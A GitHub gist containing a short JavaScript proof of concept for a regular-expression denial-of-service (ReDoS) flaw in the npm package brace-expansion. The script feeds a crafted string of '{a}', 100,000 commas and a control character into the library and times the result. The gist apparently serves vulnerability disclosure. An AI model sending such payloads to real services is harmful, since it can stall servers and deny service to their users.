Skip to content

Instantly share code, notes, and snippets.

@mmmsssttt404
Last active January 20, 2025 04:14
Show Gist options
  • Save mmmsssttt404/37a40ce7d6e5ca604858fe30814d9466 to your computer and use it in GitHub Desktop.
Save mmmsssttt404/37a40ce7d6e5ca604858fe30814d9466 to your computer and use it in GitHub Desktop.
ReDos in brace-expansion
//poc.js
import index from "./index.js";
let str = "{a}" + ",".repeat(100000) + "\u0000";
//let str = "{a}" + ",".repeat(100000) + "\n@";
let startTime = performance.now();
const result = index(str);
let endTime = performance.now();
let timeTaken = endTime - startTime;
console.log(`匹配耗时: ${timeTaken.toFixed(3)} 毫秒`);
//run `npm install brace-expansion`
//run `node poc.js`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment